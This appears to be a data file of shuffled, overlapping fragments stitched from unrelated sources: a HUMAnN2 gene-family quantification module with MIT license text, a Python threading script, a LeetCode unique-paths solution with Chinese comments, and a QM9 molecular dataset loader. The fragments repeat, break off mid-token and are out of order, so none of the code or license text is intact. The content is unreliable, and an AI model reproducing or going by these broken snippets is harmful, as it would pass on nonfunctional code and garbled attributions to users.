permit persons to whom the", "this software and associated documentation files (the \"Software\"), to deal", "DEALINGS IN THE SOFTWARE. \"\"\" import os import logging import", "all copies or substantial portions of the Software. THE SOFTWARE", "(the \"Software\"), to deal in the Software without restriction, including", "# Write the scores ordered with the top first column_name=config.file_basename+\"_Abundance-RPKs\"", "merge, publish, distribute, sublicense, and/or sell copies of the Software,", "Compute alignments by gene family Copyright (c) 2014 Harvard School", "so, subject to the following conditions: The above copyright notice", "PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR", "Copyright (c) 2014 Harvard School of Public Health Permission is", "to do so, subject to the following conditions: The above", "charge, to any person obtaining a copy of this software", "WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.", "file if a conversion to biom is selected tmpfile=utilities.unnamed_temp_file() file_handle=open(tmpfile,'w')", "following conditions: The above copyright notice and this permission notice", "THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY", "with the top first column_name=config.file_basename+\"_Abundance-RPKs\" if config.remove_column_description_output: column_name=config.file_basename tsv_output=[\"# Gene", "LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,", "in the Software without restriction, including without limitation the rights", "permission notice shall be included in all copies or substantial", "id to names mappings gene_names=store.Names(config.gene_family_name_mapping_file) delimiter=config.output_file_column_delimiter category_delimiter=config.output_file_category_delimiter # Write the", "config.remove_stratified_output: # Print scores per bug for family ordered with", "Print scores per bug for family ordered with those with", "families with those with the highest scores first for gene", "SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,", "BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER", "gene_scores.gene_list_sorted_by_score(\"all\"): all_score=gene_scores.get_score(\"all\",gene) if all_score>0: gene_name=gene_names.get_name(gene) # Print the computation of", "config.remove_column_description_output: column_name=config.file_basename tsv_output=[\"# Gene Family\"+delimiter+column_name] # Add the unaligned reads", "INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS", "SOFTWARE. \"\"\" import os import logging import math from ..", "HUMAnN2: quantify_families module Compute alignments by gene family Copyright (c)", "HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,", "copyright notice and this permission notice shall be included in", "file_handle=open(tmpfile,'w') file_handle.write(\"\\n\".join(tsv_output)) file_handle.close() utilities.tsv_to_biom(tmpfile,config.genefamilies_file,\"Gene\") else: # Write output as tsv", "if config.output_format==\"biom\": # Open a temp file if a conversion", "for gene family tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score)) # Process and print per bug", "OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \"\"\"", "THE SOFTWARE. \"\"\" import os import logging import math from", "with the highest values first scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene) for bug in utilities.double_sort(scores_by_bug):", "and to permit persons to whom the Software is furnished", "copies or substantial portions of the Software. THE SOFTWARE IS", "OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED", "family Copyright (c) 2014 Harvard School of Public Health Permission", "of all bugs for gene family tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score)) # Process and", "IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,", "SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY", "gene in gene_scores.gene_list_sorted_by_score(\"all\"): all_score=gene_scores.get_score(\"all\",gene) if all_score>0: gene_name=gene_names.get_name(gene) # Print the", "computation of all bugs for gene family tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score)) # Process", "selected if not config.remove_stratified_output: # Print scores per bug for", "import math from .. import config from .. import utilities", "Open a temp file if a conversion to biom is", "whom the Software is furnished to do so, subject to", "# Compute scores for each gene family for each bug", "for bug in utilities.double_sort(scores_by_bug): if scores_by_bug[bug]>0: tsv_output.append(gene_name+category_delimiter+bug+delimiter +utilities.format_float_to_string(scores_by_bug[bug])) if config.output_format==\"biom\":", "tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score)) # Process and print per bug if selected if", "AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT", "in all copies or substantial portions of the Software. THE", "obtaining a copy of this software and associated documentation files", "Gene Family\"+delimiter+column_name] # Add the unaligned reads count tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count)) #", "bug for family ordered with those with the highest values", "tsv_output.append(gene_name+category_delimiter+bug+delimiter +utilities.format_float_to_string(scores_by_bug[bug])) if config.output_format==\"biom\": # Open a temp file if", "LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN", "alignments \"\"\" logger.debug(\"Compute gene families\") # Compute scores for each", "for each bug set alignments.convert_alignments_to_gene_scores(gene_scores) # Process the gene id", "if a conversion to biom is selected tmpfile=utilities.unnamed_temp_file() file_handle=open(tmpfile,'w') file_handle.write(\"\\n\".join(tsv_output))", "family for each bug set alignments.convert_alignments_to_gene_scores(gene_scores) # Process the gene", "of this software and associated documentation files (the \"Software\"), to", "OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR", "a copy of this software and associated documentation files (the", "OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE", "sublicense, and/or sell copies of the Software, and to permit", "LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR", "# Process and print per bug if selected if not", "is selected tmpfile=utilities.unnamed_temp_file() file_handle=open(tmpfile,'w') file_handle.write(\"\\n\".join(tsv_output)) file_handle.close() utilities.tsv_to_biom(tmpfile,config.genefamilies_file,\"Gene\") else: # Write", "OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN", "CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF", "Family\"+delimiter+column_name] # Add the unaligned reads count tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count)) # Print", "those with the highest values first scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene) for bug in", "this permission notice shall be included in all copies or", "CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN", "above copyright notice and this permission notice shall be included", "A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE", "reads count tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count)) # Print out the gene families with", ".. import config from .. import utilities from .. import", "Compute the gene families from the alignments \"\"\" logger.debug(\"Compute gene", "\"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,", "the gene families from the alignments \"\"\" logger.debug(\"Compute gene families\")", ".. import store # name global logging instance logger=logging.getLogger(__name__) def", "IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING", "KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE", "is furnished to do so, subject to the following conditions:", "from the alignments \"\"\" logger.debug(\"Compute gene families\") # Compute scores", "to any person obtaining a copy of this software and", "Print out the gene families with those with the highest", "shall be included in all copies or substantial portions of", "person obtaining a copy of this software and associated documentation", "FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN", "from .. import utilities from .. import store # name", "Harvard School of Public Health Permission is hereby granted, free", "the unaligned reads count tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count)) # Print out the gene", "# Write output as tsv format file_handle = open(config.genefamilies_file, \"w\")", "by gene family Copyright (c) 2014 Harvard School of Public", "and this permission notice shall be included in all copies", "\"\"\" Compute the gene families from the alignments \"\"\" logger.debug(\"Compute", "Print the computation of all bugs for gene family tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score))", "<reponame>dytk2134/humann2 \"\"\" HUMAnN2: quantify_families module Compute alignments by gene family", "AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT", "alignments.convert_alignments_to_gene_scores(gene_scores) # Process the gene id to names mappings gene_names=store.Names(config.gene_family_name_mapping_file)", "families from the alignments \"\"\" logger.debug(\"Compute gene families\") # Compute", "if scores_by_bug[bug]>0: tsv_output.append(gene_name+category_delimiter+bug+delimiter +utilities.format_float_to_string(scores_by_bug[bug])) if config.output_format==\"biom\": # Open a temp", "per bug if selected if not config.remove_stratified_output: # Print scores", "all_score>0: gene_name=gene_names.get_name(gene) # Print the computation of all bugs for", "tsv format file_handle = open(config.genefamilies_file, \"w\") file_handle.write(\"\\n\".join(tsv_output)) file_handle.close() return config.genefamilies_file", "top first column_name=config.file_basename+\"_Abundance-RPKs\" if config.remove_column_description_output: column_name=config.file_basename tsv_output=[\"# Gene Family\"+delimiter+column_name] #", "OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE", "free of charge, to any person obtaining a copy of", "IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE", "ordered with those with the highest values first scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene) for", "IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,", "OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT", "the Software is furnished to do so, subject to the", "Software, and to permit persons to whom the Software is", "gene family tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score)) # Process and print per bug if", "SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.", "name global logging instance logger=logging.getLogger(__name__) def gene_families(alignments,gene_scores,unaligned_reads_count): \"\"\" Compute the", "rights to use, copy, modify, merge, publish, distribute, sublicense, and/or", "# name global logging instance logger=logging.getLogger(__name__) def gene_families(alignments,gene_scores,unaligned_reads_count): \"\"\" Compute", "documentation files (the \"Software\"), to deal in the Software without", "scores_by_bug[bug]>0: tsv_output.append(gene_name+category_delimiter+bug+delimiter +utilities.format_float_to_string(scores_by_bug[bug])) if config.output_format==\"biom\": # Open a temp file", "without restriction, including without limitation the rights to use, copy,", "# Print scores per bug for family ordered with those", "column_name=config.file_basename tsv_output=[\"# Gene Family\"+delimiter+column_name] # Add the unaligned reads count", "instance logger=logging.getLogger(__name__) def gene_families(alignments,gene_scores,unaligned_reads_count): \"\"\" Compute the gene families from", "TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION", "the computation of all bugs for gene family tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score)) #", "COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER", "from .. import config from .. import utilities from ..", "gene id to names mappings gene_names=store.Names(config.gene_family_name_mapping_file) delimiter=config.output_file_column_delimiter category_delimiter=config.output_file_category_delimiter # Write", "NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE", "use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies", "OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR", "granted, free of charge, to any person obtaining a copy", ".. import utilities from .. import store # name global", "unaligned reads count tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count)) # Print out the gene families", "with the highest scores first for gene in gene_scores.gene_list_sorted_by_score(\"all\"): all_score=gene_scores.get_score(\"all\",gene)", "of charge, to any person obtaining a copy of this", "PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS", "# Print the computation of all bugs for gene family", "Permission is hereby granted, free of charge, to any person", "a temp file if a conversion to biom is selected", "if not config.remove_stratified_output: # Print scores per bug for family", "The above copyright notice and this permission notice shall be", "values first scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene) for bug in utilities.double_sort(scores_by_bug): if scores_by_bug[bug]>0: tsv_output.append(gene_name+category_delimiter+bug+delimiter", "scores per bug for family ordered with those with the", "the gene id to names mappings gene_names=store.Names(config.gene_family_name_mapping_file) delimiter=config.output_file_column_delimiter category_delimiter=config.output_file_category_delimiter #", "\"\"\" HUMAnN2: quantify_families module Compute alignments by gene family Copyright", "logger.debug(\"Compute gene families\") # Compute scores for each gene family", "associated documentation files (the \"Software\"), to deal in the Software", "ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION", "if all_score>0: gene_name=gene_names.get_name(gene) # Print the computation of all bugs", "those with the highest scores first for gene in gene_scores.gene_list_sorted_by_score(\"all\"):", "AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES", "scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene) for bug in utilities.double_sort(scores_by_bug): if scores_by_bug[bug]>0: tsv_output.append(gene_name+category_delimiter+bug+delimiter +utilities.format_float_to_string(scores_by_bug[bug])) if", "Process and print per bug if selected if not config.remove_stratified_output:", "WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING", "names mappings gene_names=store.Names(config.gene_family_name_mapping_file) delimiter=config.output_file_column_delimiter category_delimiter=config.output_file_category_delimiter # Write the scores ordered" ]
[ "for i in range(0,3): num1 = int(input('Enter first number: '))", ")) t1 = threading.Thread(target=take_numbers, args=(q, )) t2.start() t1.start() t2.join() t1.join()", "results.append(num1+num2) results2.append(num1-num2) q = Queue() t2 = threading.Thread(target=add_num, args=(q, ))", "t2.join() t1.join() q.close() for result in results: print (\"adunare =\",", "q.put(num1) q.put(num2) def add_num(q): for i in range(0,3): num1 =", "= int(input('Enter second number: ')) q.put(num1) q.put(num2) def add_num(q): for", "results = [] results2 = [] def take_numbers(q): print('Enter the", "num1 = q.get() num2 = q.get() results.append(num1+num2) results2.append(num1-num2) q =", "= threading.Thread(target=add_num, args=(q, )) t1 = threading.Thread(target=take_numbers, args=(q, )) t2.start()", "Queue() t2 = threading.Thread(target=add_num, args=(q, )) t1 = threading.Thread(target=take_numbers, args=(q,", "def take_numbers(q): print('Enter the numbers:') for i in range(0,3): num1", "print('Enter the numbers:') for i in range(0,3): num1 = int(input('Enter", "in results: print (\"adunare =\", result) for result in results2:", "num1 = int(input('Enter first number: ')) num2 = int(input('Enter second", "print (\"adunare =\", result) for result in results2: print (\"scadere", "=\", result) for result in results2: print (\"scadere =\", result)", "first number: ')) num2 = int(input('Enter second number: ')) q.put(num1)", "threading from multiprocessing import Queue results = [] results2 =", "results2 = [] def take_numbers(q): print('Enter the numbers:') for i", "add_num(q): for i in range(0,3): num1 = q.get() num2 =", "q.get() num2 = q.get() results.append(num1+num2) results2.append(num1-num2) q = Queue() t2", "= q.get() results.append(num1+num2) results2.append(num1-num2) q = Queue() t2 = threading.Thread(target=add_num,", "t1.join() q.close() for result in results: print (\"adunare =\", result)", "q.close() for result in results: print (\"adunare =\", result) for", "result in results: print (\"adunare =\", result) for result in", "range(0,3): num1 = int(input('Enter first number: ')) num2 = int(input('Enter", "q.put(num2) def add_num(q): for i in range(0,3): num1 = q.get()", "from multiprocessing import Queue results = [] results2 = []", "in range(0,3): num1 = q.get() num2 = q.get() results.append(num1+num2) results2.append(num1-num2)", "for i in range(0,3): num1 = q.get() num2 = q.get()", "int(input('Enter second number: ')) q.put(num1) q.put(num2) def add_num(q): for i", "second number: ')) q.put(num1) q.put(num2) def add_num(q): for i in", "range(0,3): num1 = q.get() num2 = q.get() results.append(num1+num2) results2.append(num1-num2) q", "args=(q, )) t1 = threading.Thread(target=take_numbers, args=(q, )) t2.start() t1.start() t2.join()", "for result in results: print (\"adunare =\", result) for result", "= q.get() num2 = q.get() results.append(num1+num2) results2.append(num1-num2) q = Queue()", "t1 = threading.Thread(target=take_numbers, args=(q, )) t2.start() t1.start() t2.join() t1.join() q.close()", "= [] results2 = [] def take_numbers(q): print('Enter the numbers:')", "threading.Thread(target=add_num, args=(q, )) t1 = threading.Thread(target=take_numbers, args=(q, )) t2.start() t1.start()", "results2.append(num1-num2) q = Queue() t2 = threading.Thread(target=add_num, args=(q, )) t1", "[] def take_numbers(q): print('Enter the numbers:') for i in range(0,3):", "t2 = threading.Thread(target=add_num, args=(q, )) t1 = threading.Thread(target=take_numbers, args=(q, ))", "')) num2 = int(input('Enter second number: ')) q.put(num1) q.put(num2) def", ")) t2.start() t1.start() t2.join() t1.join() q.close() for result in results:", "(\"adunare =\", result) for result in results2: print (\"scadere =\",", "multiprocessing import Queue results = [] results2 = [] def", "number: ')) num2 = int(input('Enter second number: ')) q.put(num1) q.put(num2)", "t2.start() t1.start() t2.join() t1.join() q.close() for result in results: print", "results: print (\"adunare =\", result) for result in results2: print", "int(input('Enter first number: ')) num2 = int(input('Enter second number: '))", "num2 = q.get() results.append(num1+num2) results2.append(num1-num2) q = Queue() t2 =", "q = Queue() t2 = threading.Thread(target=add_num, args=(q, )) t1 =", "t1.start() t2.join() t1.join() q.close() for result in results: print (\"adunare", "the numbers:') for i in range(0,3): num1 = int(input('Enter first", "numbers:') for i in range(0,3): num1 = int(input('Enter first number:", "i in range(0,3): num1 = q.get() num2 = q.get() results.append(num1+num2)", "= int(input('Enter first number: ')) num2 = int(input('Enter second number:", "def add_num(q): for i in range(0,3): num1 = q.get() num2", "= threading.Thread(target=take_numbers, args=(q, )) t2.start() t1.start() t2.join() t1.join() q.close() for", "take_numbers(q): print('Enter the numbers:') for i in range(0,3): num1 =", "args=(q, )) t2.start() t1.start() t2.join() t1.join() q.close() for result in", "i in range(0,3): num1 = int(input('Enter first number: ')) num2", "threading.Thread(target=take_numbers, args=(q, )) t2.start() t1.start() t2.join() t1.join() q.close() for result", "= [] def take_numbers(q): print('Enter the numbers:') for i in", "in range(0,3): num1 = int(input('Enter first number: ')) num2 =", "num2 = int(input('Enter second number: ')) q.put(num1) q.put(num2) def add_num(q):", "')) q.put(num1) q.put(num2) def add_num(q): for i in range(0,3): num1", "= Queue() t2 = threading.Thread(target=add_num, args=(q, )) t1 = threading.Thread(target=take_numbers,", "[] results2 = [] def take_numbers(q): print('Enter the numbers:') for", "q.get() results.append(num1+num2) results2.append(num1-num2) q = Queue() t2 = threading.Thread(target=add_num, args=(q,", "import Queue results = [] results2 = [] def take_numbers(q):", "Queue results = [] results2 = [] def take_numbers(q): print('Enter", "import threading from multiprocessing import Queue results = [] results2", "number: ')) q.put(num1) q.put(num2) def add_num(q): for i in range(0,3):" ]
[ "* n for i in range(m): for j in range(n):", "输入: m = 3, n = 2 输出: 3 解释:", "Solution: def uniquePaths(self, m: int, n: int) -> int: dp", "条路径可以到达右下角。 1. 向右 -> 向右 -> 向下 2. 向右 ->", "链接:https://leetcode-cn.com/problems/unique-paths ''' class Solution: def uniquePaths(self, m: int, n: int)", "输入: m = 7, n = 3 输出: 28 来源:力扣(LeetCode)", "向下 2. 向右 -> 向下 -> 向右 3. 向下 ->", "2: 输入: m = 7, n = 3 输出: 28", "向右 -> 向下 2. 向右 -> 向下 -> 向右 3.", "向右 -> 向下 -> 向右 3. 向下 -> 向右 ->", "= 2 输出: 3 解释: 从左上角开始,总共有 3 条路径可以到达右下角。 1. 向右", "n: int) -> int: dp = [1] + [0] *", "[1] + [0] * n for i in range(m): for", "n 网格的左上角 (起始点在下图中标记为“Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径? 例如,上图是一个7 x 3 的网格。有多少可能的路径?", "向下 -> 向右 -> 向右 示例 2: 输入: m =", "m x n 网格的左上角 (起始点在下图中标记为“Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径? 例如,上图是一个7 x", "x n 网格的左上角 (起始点在下图中标记为“Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径? 例如,上图是一个7 x 3", "3 输出: 28 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/unique-paths ''' class Solution: def uniquePaths(self,", "1: 输入: m = 3, n = 2 输出: 3", "m = 3, n = 2 输出: 3 解释: 从左上角开始,总共有", "m: int, n: int) -> int: dp = [1] +", "range(m): for j in range(n): dp[j] = dp[j] + dp[j-1]", "j in range(n): dp[j] = dp[j] + dp[j-1] return dp[-2]", "-> 向右 -> 向下 2. 向右 -> 向下 -> 向右", "-> 向右 -> 向右 示例 2: 输入: m = 7,", "''' class Solution: def uniquePaths(self, m: int, n: int) ->", "int) -> int: dp = [1] + [0] * n", "3 的网格。有多少可能的路径? 示例 1: 输入: m = 3, n =", "m = 7, n = 3 输出: 28 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/unique-paths", "例如,上图是一个7 x 3 的网格。有多少可能的路径? 示例 1: 输入: m = 3,", "= 3, n = 2 输出: 3 解释: 从左上角开始,总共有 3", "1. 向右 -> 向右 -> 向下 2. 向右 -> 向下", "7, n = 3 输出: 28 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/unique-paths ''' class", "-> int: dp = [1] + [0] * n for", "n = 2 输出: 3 解释: 从左上角开始,总共有 3 条路径可以到达右下角。 1.", "输出: 3 解释: 从左上角开始,总共有 3 条路径可以到达右下角。 1. 向右 -> 向右", "in range(m): for j in range(n): dp[j] = dp[j] +", "uniquePaths(self, m: int, n: int) -> int: dp = [1]", "int: dp = [1] + [0] * n for i", "for i in range(m): for j in range(n): dp[j] =", "解释: 从左上角开始,总共有 3 条路径可以到达右下角。 1. 向右 -> 向右 -> 向下", "+ [0] * n for i in range(m): for j", "i in range(m): for j in range(n): dp[j] = dp[j]", "-> 向下 -> 向右 3. 向下 -> 向右 -> 向右", "for j in range(n): dp[j] = dp[j] + dp[j-1] return", "-> 向下 2. 向右 -> 向下 -> 向右 3. 向下", "3, n = 2 输出: 3 解释: 从左上角开始,总共有 3 条路径可以到达右下角。", "示例 1: 输入: m = 3, n = 2 输出:", "int, n: int) -> int: dp = [1] + [0]", "网格的左上角 (起始点在下图中标记为“Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径? 例如,上图是一个7 x 3 的网格。有多少可能的路径? 示例", "向右 -> 向右 示例 2: 输入: m = 7, n", "28 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/unique-paths ''' class Solution: def uniquePaths(self, m: int,", "向下 -> 向右 3. 向下 -> 向右 -> 向右 示例", "一个机器人位于一个 m x n 网格的左上角 (起始点在下图中标记为“Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径? 例如,上图是一个7", "''' 一个机器人位于一个 m x n 网格的左上角 (起始点在下图中标记为“Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径?", "3 解释: 从左上角开始,总共有 3 条路径可以到达右下角。 1. 向右 -> 向右 ->", "= 3 输出: 28 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/unique-paths ''' class Solution: def", "= [1] + [0] * n for i in range(m):", "的网格。有多少可能的路径? 示例 1: 输入: m = 3, n = 2", "示例 2: 输入: m = 7, n = 3 输出:", ")。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径? 例如,上图是一个7 x 3 的网格。有多少可能的路径? 示例 1: 输入:", "= 7, n = 3 输出: 28 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/unique-paths '''", "输出: 28 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/unique-paths ''' class Solution: def uniquePaths(self, m:", "从左上角开始,总共有 3 条路径可以到达右下角。 1. 向右 -> 向右 -> 向下 2.", "来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/unique-paths ''' class Solution: def uniquePaths(self, m: int, n:", "2. 向右 -> 向下 -> 向右 3. 向下 -> 向右", "3. 向下 -> 向右 -> 向右 示例 2: 输入: m", "n for i in range(m): for j in range(n): dp[j]", "向右 3. 向下 -> 向右 -> 向右 示例 2: 输入:", "机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径? 例如,上图是一个7 x 3 的网格。有多少可能的路径? 示例 1: 输入: m", "-> 向右 3. 向下 -> 向右 -> 向右 示例 2:", "def uniquePaths(self, m: int, n: int) -> int: dp =", "向右 -> 向右 -> 向下 2. 向右 -> 向下 ->", "(起始点在下图中标记为“Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径? 例如,上图是一个7 x 3 的网格。有多少可能的路径? 示例 1:", "向右 示例 2: 输入: m = 7, n = 3", "dp = [1] + [0] * n for i in", "问总共有多少条不同的路径? 例如,上图是一个7 x 3 的网格。有多少可能的路径? 示例 1: 输入: m =", "[0] * n for i in range(m): for j in", "3 条路径可以到达右下角。 1. 向右 -> 向右 -> 向下 2. 向右", "class Solution: def uniquePaths(self, m: int, n: int) -> int:", "2 输出: 3 解释: 从左上角开始,总共有 3 条路径可以到达右下角。 1. 向右 ->", "x 3 的网格。有多少可能的路径? 示例 1: 输入: m = 3, n", "n = 3 输出: 28 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/unique-paths ''' class Solution:", "-> 向右 示例 2: 输入: m = 7, n =" ]
[ "not None: labels = labels[: self.amount] return [ Graph(x=x, a=a,", "e=e, y=y) for x, a, e, y in zip(x_list, a_list,", "the data (-1, to use all available cores). \"\"\" url", "[1, 6, 7, 8, 9] BOND_TYPES = [1, 2, 3,", "debugging). - `n_jobs`: number of CPU cores to use for", "atomic_num = label_to_one_hot(atom[\"atomic_num\"], ATOM_TYPES) coords = atom[\"coords\"] charge = atom[\"charge\"]", "= [1, 2, 3, 4] class QM9(Dataset): \"\"\" The QM9", "atom's position in the X, Y, and Z dimensions; -", "y in zip(x_list, a_list, e_list, labels) ] def atom_to_feature(atom): atomic_num", "2, 3, 4] class QM9(Dataset): \"\"\" The QM9 chemical data", "\"\"\" url = \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\" def __init__(self, amount=None, n_jobs=1, **kwargs): self.amount", "import os import os.path as osp import numpy as np", "bond[\"end_atom\"] row += [start, end] col += [end, start] edge_features", "= [1, 6, 7, 8, 9] BOND_TYPES = [1, 2,", "- `n_jobs`: number of CPU cores to use for reading", "labels) ] def atom_to_feature(atom): atomic_num = label_to_one_hot(atom[\"atomic_num\"], ATOM_TYPES) coords =", "list(zip(*data)) # Load labels labels_file = osp.join(self.path, \"gdb9.sdf.csv\") labels =", "and 4 bond types (single, double, triple, aromatic). Node features", "def __init__(self, amount=None, n_jobs=1, **kwargs): self.amount = amount self.n_jobs =", "in tqdm(data, ncols=80) ) x_list, a_list, e_list = list(zip(*data)) #", "from spektral.data import Dataset, Graph from spektral.utils import label_to_one_hot, sparse", "\"qm9.tar.gz\", self.url, extract=True, cache_dir=self.path, cache_subdir=self.path, ) os.remove(osp.join(self.path, \"qm9.tar.gz\")) def read(self):", "from the monoisotope; The edge features represent the type of", "+= [bond[\"type\"]] * 2 a, e = sparse.edge_index_to_matrix( edge_index=np.array((row, col)).T,", "in the X, Y, and Z dimensions; - The atomic", "e_list = list(zip(*data)) # Load labels labels_file = osp.join(self.path, \"gdb9.sdf.csv\")", "is not None: labels = labels[: self.amount] return [ Graph(x=x,", "= atom[\"iso\"] return np.concatenate((atomic_num, coords, [charge, iso]), -1) def mol_to_adj(mol):", "chemical data set of small molecules. In this dataset, nodes", "chemical bond between two atoms, one-hot encoded. Each graph has", "if self.amount is not None: labels = labels[: self.amount] return", "difference from the monoisotope; The edge features represent the type", "of chemical bond between two atoms, one-hot encoded. Each graph", "include: - The atomic number, one-hot encoded; - The atom's", "coords, [charge, iso]), -1) def mol_to_adj(mol): row, col, edge_features =", "molecules instead of the full dataset (useful for debugging). -", "regression. **Arguments** - `amount`: int, load this many molecules instead", "dataset (useful for debugging). - `n_jobs`: number of CPU cores", "as osp import numpy as np from joblib import Parallel,", "dataset, nodes represent atoms and edges represent chemical bonds. There", "= labels.set_index(\"mol_id\").values if self.amount is not None: labels = labels[:", "available cores). \"\"\" url = \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\" def __init__(self, amount=None, n_jobs=1,", "end] col += [end, start] edge_features += [bond[\"type\"]] * 2", "of the full dataset (useful for debugging). - `n_jobs`: number", "get_file from tqdm import tqdm from spektral.data import Dataset, Graph", "= load_csv(labels_file) labels = labels.set_index(\"mol_id\").values if self.amount is not None:", "= osp.join(self.path, \"gdb9.sdf\") data = load_sdf(sdf_file, amount=self.amount) # Internal SDF", "for regression. **Arguments** - `amount`: int, load this many molecules", "def read_mol(mol): x = np.array([atom_to_feature(atom) for atom in mol[\"atoms\"]]) a,", "data (-1, to use all available cores). \"\"\" url =", "\"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\" def __init__(self, amount=None, n_jobs=1, **kwargs): self.amount = amount self.n_jobs", "(H, C, N, O, F) and 4 bond types (single,", "iso]), -1) def mol_to_adj(mol): row, col, edge_features = [], [],", "label for regression. **Arguments** - `amount`: int, load this many", "os.remove(osp.join(self.path, \"qm9.tar.gz\")) def read(self): print(\"Loading QM9 dataset.\") sdf_file = osp.join(self.path,", ") x_list, a_list, e_list = list(zip(*data)) # Load labels labels_file", "self.amount] return [ Graph(x=x, a=a, e=e, y=y) for x, a,", "as np from joblib import Parallel, delayed from tensorflow.keras.utils import", "N, O, F) and 4 bond types (single, double, triple,", "e = sparse.edge_index_to_matrix( edge_index=np.array((row, col)).T, edge_weight=np.ones_like(row), edge_features=label_to_one_hot(edge_features, BOND_TYPES), ) return", "the X, Y, and Z dimensions; - The 